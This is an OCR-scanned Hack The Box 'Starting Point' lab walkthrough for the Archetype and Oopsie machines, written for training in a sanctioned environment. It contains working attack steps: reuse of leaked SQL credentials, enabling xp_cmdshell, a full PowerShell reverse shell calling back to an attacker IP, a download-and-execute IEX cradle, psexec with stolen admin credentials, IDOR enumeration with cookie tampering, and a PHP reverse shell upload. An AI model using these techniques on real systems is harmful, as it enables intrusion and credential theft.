STARTING POINT 2020
(from Hack The Box)



https://hackspread.github.io/startingpoint
https://www.hackthebox.com/

O I N 3

ENUMERATION ...cevvceevceeseessesssesssssssssssssssesssessssssasssssssssesssessssssssssssssssessssssssssssssssssssessssssssssssssssssssessssssssssssssnssses 3
FOOTHOLD covvveveeseeeeseessssssesssessssssssssssssssesssessssssssssssssssesssesassssssssssssasesssesssssssssssssasessses s st st sssssasesssessssssssssnssns 5
PRIVILEGE ESCALATION c...vevvesivessesssessssssesssessssssssssssssssesssessssssssssssssssessssssssssssssssssssessssssssssssssssssssesssssssssssssnseses 7

p 0 1)1 | 8
ENUMERATION . ...evvcveeceessessesssssssssssssssssssssssssssssassssssssssssssssssssssssssssssessessssssssssssssssessssssssssssssssssessesssssssssssneses 8
FOOTHOLD .evvvtncvescesssessssss s ssssssssssssessssssesssssssssssssssssssssssssssssesssss st sssssssesssessesssssssssssssessssssssssnsssssesssssassanes 18
LATERAL MOVEMENT ...evcerveeneeensessssssessssssssssssssssessssssssssssssssssssessssssasssssssssessssssssssssssnssssesssssssssssssssesssssssenes 20
PRIVILEGE ESCALATION .ev.vevvvevevensesssesnessssssessssssssssssesssesssssssssssssssssssasssssssasssesssessssssssnssssessessssssssssssssssssessanes 21
POST EXPLOITATION evvereesrsenssensessssssesssssssssssssssssssssssssssssssssssssssssssasssssssanssssssessssssssssssessesssssssnsssssssesssessanes 23

3. VACCINE covveerevessesssssssssssesssessssssssssssssssesssessssssssssssssssesssssssasesssessssssesssasssssessssssesssasssnsessssssesssessanssaesssssasssasssneses 24
ENUMERATION . ..vucvvevreessessessessesassssssessssssessssssssssssssssesssssssassssssssssssasssssssssesssssesssssssssssssessesssssssnssssssssssessanes 24
20701110115 JU T 27
PRIVILEGE ESCALATION ...eevveeneessresssessssssssssssssssssesssesssssssssssnssssessssssassssssssnesssssssssssssssnsssnessessssssssssssesssssssenes 29

T 111 o T 32
ENUMERATION . ..vucvvevreessessessessesassssssessssssessssssssssssssssesssssssassssssssssssasssssssssesssssesssssssssssssessesssssssnssssssssssessanes 32
FOOTHOLD covvvvtvevecsvessssssssssssesssessssssssssssesssessssssssssssssssesssesssassssssssssssasssssssasessssssesssssssnsssssessesssssssnssssessesssessanes 34
PRIVILEGE ESCALATION vev.vevvveeevessesssessessssssesssssssssssssssssssssssssssssssssssssassssssssssssssessssssssssasessesssssssnsssasesssssessanes 37
POST EXPLOITATION evveveesrennrsensassssssessssssessssssssssssssssesssssssssssssssssssassasssaesssssesssssssssssssessesssssssnssssessesssessanes 39

5. PATHEINDER ..covvvvensenssesssssssssssssssssesssssssssssssssssssesssssssssssnssssesssessssssanssssssssessssssssssnssssssssessssssassssssssssssssssssnsssnsses a
ENUMERATION . ...ouvcvevreesessssssssssassssssessssssssssssssssessssssssssssssssesssessssssasssssssssesssessssssssssssssessesssssssssssesssssssenes a
LATERAL MOVEMENT ...evvereveneesnsessssssessssssssssssssssessssssssssssssnesssessssssasssssssssesssssssssssssssssssessssssssssnssssessssssssenes 46
PRIVILEGE ESCALATION ..v.eeviveeneessresssessesssesssssssssssesssssssssssssssnesssessssssassssssssnesssssssssssssssnssssessssssssssssssnesssssssenes 48

6. INCLUDED (LINUX) 1evvvevreesessnesessssssssssssssssssssnsssssssssssssssssssssssnsessssssssssesssssssssessesssssssssssnsssssssssssssssansssesssssesssssssnssses 50
ENUMERATION. ..vucevevsesssessssessesassssssesssssssssssssssssssssssessssssssssssssssssssassssssssessesssesssssssssssssessesssssssnssssssssssessanes 50
LFI(LOCAL FILE INCLUSION)...ceuvevevressresssssnssessssssssssssssssesssssssssssssssssssasssssssssssesssessssssssssssssssesssssssnssssssssssassanes 51
2010110 15 JP T 52
CONTAINER AND VIRTUALIZATION TOOLS(SOURCE LINK) cuvvrvssresseessesssessssasnssssesssesssssssssssssssesssssssssssssssessssseees 56
LXD PRIVILEGE ESCALATION.......vuureesreessssesssssssssssesssesssssssssssnesssessssssasssssssssesssssssssssssssssssessssssssssssssessssssssenes 56



https://hackspread.github.io/startingpoint

Machine : | Archetype

IP: | 10.10.10.27

Enumeration

We use nmap (a free and open source utility for network discovery and security auditing) to:

e -sV: Probe open ports to determine service/version info

e -sC: equivalent to --script=default

nmap -sC -sV 10.10.10.27

sudo nmap -sC -sV 10.10.10.27
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-04 08:58 EDT
Nmap scan report for 10.10.10.27
Host is up (0.046s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp  open msrpc Microsoft Windows RPC
139/tcp  open netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds  Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sqgl-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sgl-ntim-info:
Target_Name: ARCHETYPE
NetBIOS_Domain_Name: ARCHETYPE
NetBIOS_Computer_Name: ARCHETYPE
DNS_Domain_Name: Archetype
DNS_Computer_Name: Archetype
Product_Version: 10.0.17763

Host script results:
| _clock-skew: mean: 1h38m45s, deviation: 3h07m52s, median: 14m44s
| ms-sgl-info:
OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
Computer name: Archetype
NetBIOS computer name: ARCHETYPE\x00
Workgroup: WORKGROUP\x00

Ports 445 and 1433 (open) are associated with file sharing (SMB) and SQL Server.
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It is worth checking to see if anonymous access has been permitted, as file shares often store
configuration files containing passwords or other sensitive information. We can use the tool

“smbclient” to list available shares.
smbclient -N -L \\\\10.10.10.27

Sharename Type Comment

ADMINS Disk Remote Admin

backups Disk

CS Disk Default share

IPCS IPC Remote IPC
SMB1 disabled -- no workgroup available

It seems there is a share called backups. Let's attempt to access it and see what's inside.
smbclient -N  \\\\10.10.10.27\\backups

Try "help" to get a list of possible commands.
smb: \>dir
0 MonJan 2007:20:57 2020
. 0 MonJan 2007:20:57 2020
prod.dtsConfig 609 Mon Jan 20 07:23:02 2020

There is a “.dtsConfig” file, which is a config file used with SSIS. Let’s see the code

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (3.5 KiloBytes/sec) (average 3.5 KiloBytes/sec)

Checking the file we see that it contains a SQL connection string with:

o The password: M3g4cOrp123
o The user ID : ARCHETYPE\sql_svc

more prod.dtsConfig
<DTSConfiguration>

<DTSConfigurationHeading>

</DTSConfiguration>
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Foothold

Let's try connecting to the SQL Server using “mssqlclient.py” (from Impacket) using the
credentials found in “prod.dtsConfig” for the local Windows user ARCHETYPE\sql_svc
(pwd:M3g4c0rp123 ):

python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10 .27 -windows-auth

Password:

[*] Encryption required, switching to TLS

[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english

[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192

[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master’.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)

[!] Press help for extra shell commands

sQL>

We can use the IS SRVROLEMEMBER function to reveal whether the current SQL user has
sysadmin (highest level) privileges on the SQL Server. Luckily we do have sysadmin privileges

and we can now enable xp_cmdshell and gain RCE (remote code execution) on the host. Let's

attempt this, by inputting the commands below:

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;

EXEC sp_configure 'xp_cmdshell', 1
reconfigure;

A o R

xp_cmdshell "whoami"

SQL>EXEC sp_configure 'show Advanced Options', 1;
reconfigure;

SQL> EXEC sp_configure 'xp_cmdshell', 1

[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE
statement to install.

SQL> reconfigure;

SQL> xp_cmdshell "whoami"

archetype\sqgl_svc

NULL
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The whoami command output reveals that the SQL Server is also running in the context of
the user ARCHETYPE\sql_svc. However, this account doesn't seem to have administrative
privileges on the host. Let's attempt to get a proper shell, and proceed to further enumerate
the system. We can save the PowerShell reverse shell below as shell.ps1.

#shell.ps1

Sclient = New-Object System.Net.Sockets. TCPClient("10.10.14.16",443);
Sstream = Sclient.GetStream();

[byte[]]Sbytes = 0..65535 | %{0};

while((Si = Sstream.Read(Sbytes, 0, Sbytes.Length)) -ne 0)

{;Sdata = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(Sbytes,0, Si);

Ssendback = (iex Sdata 2>&1 | Out-String );

Ssendback2 = Ssendback + "#";

Ssendbyte = ([text.encoding]::ASCII).GetBytes(Ssendback2);Sstream . Write(Ssendbyte,0,Ssendbyte.Length);
Sstream.Flush()};

Sclient.Close()

Next, let’s start up a mini webserver in python in order to host the file. We can use the

following Python command:
g S sudo python3 —m http.server 80

[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80)

Here we can use:
e netcat (a feature-packed networking utility) to reads and writes data across the network.
e ufw (Uncomplicated FireWall) to allow incoming connections from a specific IP.

After standing up a netcat listener on port 443, we can use ufw to allow the callbacks on port
80 and 443 to our machine:

e nc-lvnp 443
e ufw allow from 10.10.10.27 proto tcp to any port 80,443

i Ssudo nc—lvpn 4433

listening on [any] 443

sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443

We can now issue the command to download and execute the reverse shell through

xp_cmdshell. (10.10.14.16 attacking machine):
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.16/shell.ps1\");"

We can see from our mini webserver that a file has been downloaded.

: $ sudo python3 -m http.server 80
[sudo] password for kali:

Serving HTTP on ©.0.0.@0 port 8@ (http://@.0.0.0:88/) ...
19.10.10.27 - - [@5/Jul/2020 @0@:12:23] "GET /shell.psl HTTP/1.1" 280 -



https://hackspread.github.io/startingpoint
https://stackabuse.com/serving-files-with-pythons-simplehttpserver-module/
http://0.0.0.0/
https://sectools.org/tool/netcat/
https://www.automox.com/blog/linux-hack-of-the-week-20-ufw
https://sectools.org/tool/netcat/
https://www.digitalocean.com/community/tutorials/ufw-essentials-common-firewall-rules-and-commands#allow-incoming-ssh-from-specific-ip-address-or-subnet
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver15

A shell is received as sql_svc, and we can get the user.txt on their desktop.

= P sudo nc —-Lwvnp 443
lLlistening on [any] &43 ...
sudo ufw allow from 1@8.1@.1@ .27 proto tcp to any port 80,443

connect to [1@.1@.14.16]1 from (UNKNOWN) [1e.1@.1@.27] 49678
o

Using Tmux, that’s all in one window:
SQL> xp_cmdshell “"powershell "IEX (New-Object Net.WebClient).DownloadString(\“"http://10.10.14.16/shell.psi\");"

H $ sudo python3 -m http.server 8@
Serving HTTP on 0.0.0.@ port 80 (http://0.0.0.0:80/) ...
10.10.10.27 - - [05/Jul/2020 00:13:52] "GET /shell.psl HTTP/1.1" 200 -

z $ sudo nc -lvnp 443
listening on [any] 443 ...

sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443
connect to [10.10.14.16] from (UNKNOWN) [10.10.10.27] 49682
#

Privilege Escalation

As this is a normal user account as well as a service account, it is worth checking for
frequently access files or executed commands. We can use the type(link)command to access

the PowerShell history file (ConsoleHost_history.txt) to see the administrator’s credentials

# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_é&dmln !!
exit

This also reveals that the backups drive has been mapped using the local administrator
credentials. We can use Impacket psexec.py to gain a privileged shell:

python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator@l®.10.10.27

Below we can see that we gained Administrative privileges; we can search for “root.txt”.

rootgkali:/home/kali/HTB/StartingPoint/Archetype# python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator@l®.10.10.27
Impacket v@.9.22.devl - Copyright 2028 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27
Found writable share ADMIN$
Uploading file ZeUgDHTB.exe
Opening SVCManager on 10.10.10.27
Creating service stRW on 10.10.10.27
Starting service stRW
Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd c:\Users\Administrator\Desktop

c:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CE13-2325

Directory of c:\Users\Administrator\Desktop

01/20/2020 06:42 AM <DIR>
01/20/2020 06:42 AM <DIR> .
02/25/2020 @7:36 AM 32 root.txt

1 File(s) 32 bytes

2 Dir(s) 33,827,164,160 bytes free
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2. Oopsie

Machine : | Oopsie

IP: | 10.10.10.28

Enumeration

nmap -sC -sV 10.10.10.28

Running a simple nmap scan reveals two open ports for SSH(22) and Apache(80).

Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 03:34 EDT
Nmap scan report for 10.10.10.28

Host is up (0.037s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

22/tcp open  ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)

| 256 24:1d:a4:17:d4:e3:2a:9¢:90:5¢:30:58:8f:60:77:8d (ECDSA)
| 256 78:03:0e:b4:al:af:e5:c2:f9:8d:29:05:3e:29:¢9:f2 (ED25519)
80/tcp open  http Apache httpd 2.4.29 ((Ubuntu))

| _http-server-header: Apache/2.4.29 (Ubuntu)

| _http-title: Welcome

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.92 seconds

Nmap reveals that SSH (port 22) and Apache (port 80) are available on their default ports.
Let's check out the website.

MegaCorp Automotive #  Services About  Contact

Bringing EV Ecosystem | Robust Design

Learn More
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It seems to be a website for the electric vehicle manufacturer MegaCorp. Scrolling down, we

note that a reference is made to logging in.

Services

We provide services to operate manufacturing
data such as guotes, customer requests etc.

Please login to get access to the service.

We cannot see anything else of interest, so let's send the request to a web proxy such as

Burp, so we can examine the website in more detail.

We point the browser to the Burp proxy at 127.0.0.1:8080

i) 10.10.10.28

MegaCorp Automotive

Then we refresh the page, and forward the request.

S c @ @ 10.10.10.;

Reload current page (Ctrl+R)

n 0 ®

® Services About Contact

On the Target tab, we notice that Burp has passively spidered the website while processing

the request.

Burp
-

Burp Project Intruder Repeater Window Help
Dashboard | Target | Frowy | Intruder IHepeater ISequencer IDecoder IComparer IEmender TProJect options IUSEF options ]
J Site map T Scope T Issue definitions }
‘ Filter: Hiding not found items; hiding CSS. image and general binary content: hiding 4« responses; hiding empty folders ‘@
http://10,10.10.28 Host | Method | URL |Params | Status & |Length | MIME type | Title
= 01 httpssjjsockjs-eu.pusher.com http://10.10.10.28 GET ! 200 11125  HTML Welcorne
= 1 httpsy/jws-eu.pusher.com http://10.10.10.28 GET [fedn-cgiflogin/seript.js |
http://10.10.10.28 GET fedn-cgifscripts/Sc5dd728/cloudflare-stati...
http://10.10.10.28 GET Jessfl.ess
http://10.10.10.28 GET [cssffont-awesome.min.css
http://10.10.10.28 GET Jcss/new.css
if/10.10.10.28 GET Jcssfreset.min.css
0.10.10.28 GET fisfindex js
0.10.10.28 GET fisfmin.js
http://10.10.10.28 GET [themesftheme css
< — T

We can see the url “/cdn-cgi/login”.

Host | Method | URL | Params |Status 4 |Length | MIME type | Title
http:(/10.10.10.28 GET / 200 11125 HTML Welcome
http://10.10.10.28 GET [/edn-cgiflogin/script js |

http:(/10.10.10.28 GET Jedn-caifscripts/Scs5dd728/cloudflare-stati...

http:_."_."10.10.10.28 GET jcssfl.css



https://hackspread.github.io/startingpoint

We could have also simply used our browser; in Firefox we could have inspected the web
page, and we could have found the same url under the Network Monitor tab.

¥ 1O Inspector Console [ Debugger {J} Style Editor () Performance #k Memory Tl Metwork [ Storage T Accessibility

w I HTML €SS JS XHR Fonts Images Media WS Other
M.. Domain  File Cause T.. | Transfe.. | Si. oms { 160 ms [l Headers  Cookies Params  Response Cache  Timings

GET g10.10. / document html 336 KB 10... NN 83 ms RequestURL: http://18.10.10.28/cdn-cgiflogins/script.js
Request method: GET

GET J&10.10.. reset.min.css stylesheet css 778 Blra.. 77.. BN 78 ms  Remote address: 10.16.10.25: 88

GET J&10.10.. theme.css stylesheet css  280B(r. 0B BN £1ms  Statuscode: 304 Not Modified &

GET J&10.10.. new.css stylesheet css  280B(r. 0B N 79y | VErSior: HTTP/1.1
Referrer Policy: no-referrer-when-downgrade

GET 10.10.. new.css stylesheet

GET 1010 1css stylesheet css 595Blra. 76.. 0 ms

GET #10.10.. font-awesome.mincss  stylesheet css  7.22KB(. 30... B o5~ FesPonseheaders (178 B)

GET #1010 minjs script js  1E7KB(. 37. [P Connection: Keep-Alive

Date: Wed, 08 Jul 202017:49:21 GMT
ETag: "0-59ce0fcSb4300"

384 GET £10.10. scriptjs js  cached

We could have just used “Edit and Resend”.

04 GET J610.10.10.28 script.js

- - B oy 0 e
84 GET J1010.10.28 1jpg

B4 GET 10101028 2.ipg

B4 GET J610.10.10.28 email-ded

B4 GET 10101028 email-ded Block URL

a4 GET ¥ 10101028 fontawesq Openin New Iab.

B4 GET ¥ 10101028 fontawesq '::F:Ef'l in EEDLII:_I.IIZ_I_IEF

a4 GET K10.10.10.28 favicon.ic

Start Performance Analysi

Just modify the URL into http://10.10.10.28/cdn-cgi/login/.

TT Ml HTRIL OS5 1S XHR  Fonts Images Bedia WS Other
| LED me Mew Request
s
Camncel Semnd
I 31 s
rethod URL
I 51 ¥
GET { http/M10.10.10. 28 cdn-cgif logi n Bl gl = N =
I 2 s
B 50 e Reqguest Headers
B 7o s Host: 10.10.10.28
User-aAgent: Mozillal/S.0 (%11 Linux x86 _64; e 8.0) Gecko/20100101 Firefom g
I 7o s Accept: *f*

Accept-Language: en-LS en;g=0.5

10
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And click “Send”.

Cancel Send

Method LRL
GET

Beamescet Hesders

And the link to the login page appear in our list.

(200 GET - PUNUBLLS Jean-cquoging SCrTpL

Now just openitin a “New Tab”.
#10.10.10.28

K10,

6 10.10.
J610.10.10.28
K10,

K10,

10.10.28 iT E,;j[taﬂ.;j Resend
10.10.28 ' Block URL
J610.10.10.28 .
Openin New Tab
6 10.10.10.28 _ ) :
Start Performance Analysis...
#10.10.10.28 '

We confirm that this is a login page. Let's try to reuse the password MEGACORP_4dm1n!!
from the previously compromised machine, with common usernames such as administrator
or admin.

11
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This is successful, and we gain access to the web portal, which contains additional
functionality.

MegaCorp Automotive Account Branding Clients Uploads Logged in as Admin

Repair Management System

However, it seems the developer has implemented tiers of administration, and the Uploads
page is further restricted to the super admin user.

MegaCorp Automotive  Account Branding Clients Uploads Logged inas Admin

Repair Management System

| This action require super admin righls.l

Let's examine the URL: “http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1"

We can see that for id=1, we will have user admin

10.10.10.28

MegaCorp Automotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

Access ID Name Email

34322 admin admin@megacorp.com

If we pick Id=4, the user is now john

10.10.10.28/cdn-cgi php?content—accounts&id—4

jaCorp Automotive Account Branding Clients Uploads Logged in as Admin

Repair Management System

Access ID Name Email

8832 Jjohn john@tafcz.co.uk

12
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Let’s examine the page in Burp. We refresh on the Accounts page, which displays the user id
for our current user, and intercept the request. We notice what seems to be a custom cookie
implementation, comprising of the user value and role. We also notice the id parameter,
which for our current admin user is 1.

f Request to http://10.10.10.28:80

| Forward I Drop J [ Intercept is on | | Action J

J Raw I Params T Headers T Hex ]

GET /cdn-cgifloginfadmin.php?content=accounts&id=1 HTTP/1.1

Host: 10.10.10.28

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi/login/admin.php?content=uploads
DNT: 1

Connection: close

Cookie: user=34322: role=admin

Upgrade-Insecure-Requests: 1

This shows that it might be possible to brute force the id values, and display the user value
for another user, such as the super admin account. We can do this using by trying a series of
id values, we will use Burp's Intruder module.

shboard ITarget T Prosy T Intruder I Repeater T Sequencer I Decoder T Comparer I Extender T Project optiy

2 x
get | Positions Tpaﬂoads‘[OpHons]

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the w)|
help for full details.

Attack type: | Sniper

GET scdn-cgi/loginsadmin.php?content=Saccountss&id=518 HTTP/1.1

Host: 19.10.10.28

User-Agent: MozillasS.0 (X11l; Linux =86 64; rwv:58.0) Gecko/20100101 Firefox/88.0
Accept: text/shtml,applicationsxhtml+xml, application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-US,en;q=0.5

i Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgl/login/admin.php?content=accounts&ld=30
Connection: close

Cookle: user=§343228; role=Sadming

10 Upgrade-Insecure-Requests: 1

11 Cache-Control: max-age=0

1z

1=

NOU B WN

We press Clear to remove the pre-populated payload positions.

Attack type: | Sniper =
1 GET sedn-cgi/leogin/admin.php?eontent=accounts&id=1 HTTP/1.1 - Add §
2 Host: 10.10.10.28
2 User-Agent: Mozillas5.0 (X11; Linux x86_864; rv:68.0) Gecko/20100101 Firefox/68.0 Clear s
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

S Accept-Language: en-US,en;q=0.5 AUto §
& Accept-Encoding: gzip, deflate

7 Referer: http://10.18.10.28/cdn-cgi/login/admin. php?content=accounts&id=30 Refresh
= Connection: close

o Cookie: user=24322; role=admin

10 Upgrade-Insecure-Requests: 1

11 cache-Control: max-age=0
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We now select the Id value (1).

Attack type: | Sniper

1 GET /ecdn-cgi/login/admin.php?content=accounts&id=1 HTTP/1.1 - Add §
2 Host: 10.10.10.28

3 User-Agent: Mozilla/S.0 (X11; Linux xB86_64; rv:68.0) Gecko/20100101 Firefox/68.0 clears
4 Accept: textshtml,application/sxhtml+xml, application/xml;g=0.9,*/*;q=0.8

S Accept-Language: en-US,en;q=0.5 Auto §
& Accept-Encoding: gzip, deflate

7 Referer: http://10.10.10.28/cdn-cgi/loginsadmin.php?content=accounts&id=30 Refresh
S Connection: close

© Cockie: user=34322; role=admin
10 Upgrade-Insecure-Requests: 1
11 Cache-Control: max-age=0

We click Add.

Attack type: | Sniper

<

1 GET /cdn-cgi/login/admin.php?content=accounts&id=§1§| HTTP/1.1 g Add §
Z Host: 10.10.10.28
3 User-Agent: Mozilla/5.0 (X11; Linux x88_64; rv:68.0) Gecko/20100101 Firefox/68.0 Clear§
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;q=0.8
S Accept-Language: en-US,en;g=0.5 Auto §
& Accept-Encoding: gzip, deflate
Referer: http://10.10.10.28/cdn-cgi/Llogin/admin. php?content=accounts&id=30 Refresh
Connecticn: close

Cookie: user=34322; role=admin
© Upgrade-Insecure-Requests: 1
11 Cache-Control: max-age=0

Next, click on the Payloads tab.

Target TPositions TPayloads TOptions 1

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the |
each payload set, and each payload type can be customized in different ways.

|

Payload set: [1 J Payload count: 0

Payload type: [Simple list J Request count: 0

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ...
Remove =
Clear

Add Ei

Add fram list ... [Pra version anly]
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We can generate a sequential list of 1-100 using a simple bash script.
:~S for i in'seq 1 100°; do echo &i; done

1
2
3
4
5
6
7
8

Paste the output into the Payloads box.

@

This payload type lets you configure a simple list of strings that are used as payloads.
| Paste | 2
| Load ... J

| Remove |

Ok WwNRE

| Clear |
| Add |

Add from list ... [Pro version only]

Next we move to “Options” tab.

[Target IPOSitiOnS IPayloads TOptiUns ]

V] Exclude HITF headers

We ensure that Follow Redirections is set to "Always", and select the option to "Process
cookies in redirections".

@

O These settings control how Burp handles redirections when performing attacks.

Follow redirections: (O Never
() On-site only
O In-scope only
@ Always

/] Process cookies in redirections
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Let’s click on the Target tab, and then click “Start attack”.

Target T Positions I Payloads T Options ]

@ Attack Target ( start attack |

Configure the details of the target for the attack,

We sort responses by Length, and view the results.

Request | Payload | Status | Error | Redirec... Timeout | Length | Commeant
30 [=o 200 (o] o (] 3826
o 200 (] o (=] =815
a a 200 £ o [ 2815
13 13 200 [ =) [ 3813
23 23 200 [ o [ 3812
< <} 200 £ o [ 2811
= =2 zo00 [ =) [ 3787
3 3 200 [ o [ 3787
5 5 200 [ o (] 3787
= & 200 [S5] o [SS] 3787
7 7 200 [ o [ 3787
a E=] 200 [ o [ 3787
=) =) 200 [ o [ 3787
10 10 200 [ o [ 3787
a1 s B 200 [ o () 2787
1z 1z zZ00 =] o [ 3787

A few of a responses have a different length, and we proceed to examine them. The super

admin account is visible, and corresponding user value is identified(86575).

payload: o
Status: 200 |_Previous |
Length: IB26
Timer: a6 Lo
Action
Regquest | Respanse
Raw I'Headars [st ] Render :
_qr_:. r i
<br =
elel r
pess <o B6HTH
</ 0>
F
super adwan
= L
supsrade n@mgacorp. con
Eftrs f
-t t sre s/)query.mn. ' w
iz e e
@G == o matches | W Pratty

Let’s try to access the Uploads page again.

< > ¢ o @ 10.10.10.28 v I @ & S =

MegaCorp Automotive Account Branding Clients Uploads Logged inas Admin

Repair Management System

This action require super admin rights.

Burp Suite Community Edition v2020.6 - Temporary Project

Burp Project Intruder Repeater Window Help

[ pashboard | Target | o [ intruder [ Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options |

| [Wi=reeps [ HTTP history | websockets history | options |

&7 Request to http://10.10.10.28:80

§ Forward ] 1 Drop | | interceptis on | Action

Raw | Params | Headers [ Hex

GET scdn-cgi/loginfadmin.php?content=uploads HTTPf1.1 A
Host: 10.10.10.28

User-Agent: MozillasS.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/68.0

Accept: textshtml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.28/cdn-cgi /login/admin.php?content=uploads

Connection: close

Cookie: user=34322; role=admin

Upgrade-Insecure-Requests: 1

NEwh e

=y
FOODNO
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Let’s substitute the user value (34322) with the super admins value (86575).

[ Dashboard ITarget I Praxy T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options ]' User options ]

J Intercept T HTTP histary I WebSockets history I Options ]

/ Request to http:ff10.10.10.28:80

| Forward || Drop J [ intercept is on | Action

J Raw T Params T Headers T Hex ]

1 GET /ecdn-cgi/login/admin.php?content=uploads HTTRP/1.1

Z Host: 10.10.10.28

3 User-Agent: Mozilla/S.0 (X11; Linux x86 _64; rv:68.0) Gecko/20100101 Firefox/68.0
4 Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/%;q=0.8

S Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate

7 Referer: http://10.10.10.28/cdn-cg1/login/admin.php?content=uploads

2 Connection: close

9 Cookie: user=86575; role=admin

L0 Upgrade-Insecure-Regquests: 1

Let’s click on “Forward” and see what the response into the browser (let’s disable the proxy
first)

© 10.10.10.28

MegaCorp Automotive Account Branding Clients Uploads Logged in as Admin

! Repair Management System

Branding Image Uploads

Brand Name

1| s A

Browse... No file selected.

Upload

Inspecting cookies, let’s see again the upload page.

utomotive  Account Branding Clients Uploads Logged in as Admin

Repair Management System

| This action require super admin rights. |

We can see that the user’s Value is “34322” with role “admin”.

MName Demain Path Expireson Last accessed on Value table.he.. sameSite

I role 10.10.10.28 n' Fri, 07 Aug 202019:30:55 GMT Thu, 09 Jul 2020 12:40:51 GMT admin falze Unset

10.10.10.28 ! Fri, 07 Aug 2020 19:30:55 GMT Thu, 09 Jul 2020 12:40:51 GMT
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Let’s try changing the users’ value into “86575” an see what happens the we refresh the page.

w 13 Inspector Console [ Debugger {3} Style Editor (7 Performance {F Memory P Network E Storage 'ﬁ' Accessibility

E Cache Storage + =

E Cookies
@ http/10.10.10.28 role

E Indexed DB

Name Domain Path Expireson Last accessed on Value table.he.. sameSite
10.1010.28 Fri, 07 Aug 202019:30:55 GMT Thu, 09 Jul 2020 12:45:47 GMT
10.10.10.28 i Fri, 07 Aug 2020 19:30:55 GMT Thu, 09 Jul 2020 12:46:10 GMT

false Unset

We do now have access as super admin. We won’t get the error message anymore.

MegaCorp Automotive Account Branding Clients Uploads Logged in as Admin

Repair Management System

Branding Image Uploads

Brand Name

Browse... Mo file selected.

Upload

ble I Debugger {} Style Editor () Performance 4 Memory ) Network E Storage 'i' Accessibility

+ C &
MName Domain Path Expires on Last accessed on Value table.he.. samesSite]
role 10.10.10.28 ! Fri, 07 Aug 2020 19:30:55 GMT Thu, 09 Jul202012:46:49 GMT admin false Unset

10.10.10.28 I Fri, 07 Aug 2020 19:30:55 GMT Thu, 09 Jul 2020 12:46:10 GMT

Foothold

Let’s check if the developer forgot to implement user input validation, and so we should test
if we can upload other files, such as a PHP webshell. Let’s locate the “php-reverse-shell.php”
file.

T S locate php-reverse-shell.php
/Jusr/share/laudandum/php/php-reverse-shell.php

/usr/share/laudandum/wordpress/templates/php-reverse-shell.php

usr/share/webshells/php/php-reverse-shell.php
ey $

Let’s save this file as “check.php”
: ~/HTB/StartingPoint/OopsieS cp usr/share/webshells/php/php-reverse-shell.php check.php

: ~/HTB/StartingPoint/Oopsie$ s
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Let’s now customize the file “check.php” file with our IP address and the port values

%
5
5
%
%
%
$=
%
%

Page reports that the upload of the “check.php” file was successful

Repair Management System

